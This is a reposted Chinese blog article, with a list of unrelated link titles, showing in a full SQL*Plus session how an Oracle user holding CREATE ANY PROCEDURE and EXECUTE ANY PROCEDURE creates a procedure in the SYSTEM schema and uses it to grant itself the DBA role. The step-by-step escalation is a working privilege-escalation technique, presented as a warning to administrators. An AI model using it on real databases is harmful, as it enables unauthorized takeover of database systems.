给一个用户授予CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE带来的后果
来源:互联网 发布:云计算细分市场格局 编辑:程序博客网 时间:2024/05/28 16:10
原文地址:http://blog.itpub.net/16162908/viewspace-594904/
给一个用户授予CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE带来的后果。
创建一个新用户,并且给这个用户授予CREATE SESSION的权限,使其能连接到会话。
SQL> CONN / AS SYSDBA
Connected.
SQL> CREATE USER JACKY IDENTIFIED BY JACKY;
User created.
SQL> GRANT CREATE SESSION TO JACKY;
Grant succeeded.
以JACKY用户登陆到数据库
SQL> CONN JACKY/JACKY
Connected.
SQL> SELECT * FROM SESSION_ROLES;
no rows selected
SQL> SELECT * FROM SESSION_PRIVS;
PRIVILEGE
----------------------------------------
CREATE SESSION
可以看到JACKY 用户只有CREATE SESSION的权限。
现在授予JACKY用户 CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE的权限。
SQL> GRANT EXECUTE ANY PROCEDURE TO JACKY;
Grant succeeded.
SQL> GRANT CREATE ANY PROCEDURE TO JACKY;
Grant succeeded.
切换到JACKY用户所在的会话,执行下面的查询:
SQL> SELECT * FROM SESSION_ROLES;
no rows selected
SQL> SELECT * FROM SESSION_PRIVS;
PRIVILEGE
----------------------------------------
CREATE SESSION
CREATE ANY PROCEDURE
EXECUTE ANY PROCEDURE
可以看到JACKY用户具有下面的权限了。
在JACKY用户下创建下面的存储过程:
SQL> SHOW USER
USER is "JACKY"
SQL> CREATE OR REPLACE PROCEDURE SYSTEM.GRANT_PRIVS(P_TEXT VARCHAR2)
2 IS
3 BEGIN
4 EXECUTE IMMEDIATE P_TEXT;
5 END;
6 /
Procedure created.
执行下面的存储过程:
SQL> EXECUTE SYSTEM.GRANT_PRIVS('GRANT DBA TO JACKY');
PL/SQL procedure successfully completed.
以JACKY用户重新登陆一下数据库
SQL> CONN JACKY/JACKY;
Connected.
SQL> SELECT * FROM SESSION_ROLES;
ROLE
------------------------------
DBA
SELECT_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
SCHEDULER_ADMIN
WM_ADMIN_ROLE
JAVA_ADMIN
ROLE
------------------------------
JAVA_DEPLOY
XDBADMIN
XDBWEBSERVICES
OLAP_DBA
15 rows selected
SQL> SELECT COUNT(*) FROM SESSION_PRIVS;
COUNT(*)
----------
161
可以看到JACKY用户给自己加了很多权限。
- 给一个用户授予CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE带来的后果
- grant debug any procedure to finss;
- CREATE PROCEDURE
- CREATE PROCEDURE
- CREATE PROCEDURE
- mysql -CREATE PROCEDURE和CREATE FUNCTION的语法
- 授予 SELECT ANY TABLE 权限后无法访问sys 用户的表
- 创建解锁用户的procedure
- 存储过程-CREATE PROCEDURE
- create procedure error 1607
- CREATE procedure pr_createjxc
- create procedure example
- SAP HANA CREATE PROCEDURE
- procedure
- procedure
- procedure
- procedure
- procedure
- 分布式框架Dubbo入门
- 让你的chrome控制台完全支持jQuery语法
- 从Github中的Commit历史移除敏感文件
- 手机基本支持的传感器类型
- 【SQL】SQL中的IN方法:查询多种状态值
- 给一个用户授予CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE带来的后果
- 如何使用Javaconfig代替web.xml配置spring
- python27,anaconda2 安装网络绘图工具igraph及cairo
- [C]Hello,World!
- 初学Python学习笔记1
- BigDecimal入参和精度问题
- 学会
- 梯度下降算法的python实现
- 正则表达式匹配-LintCode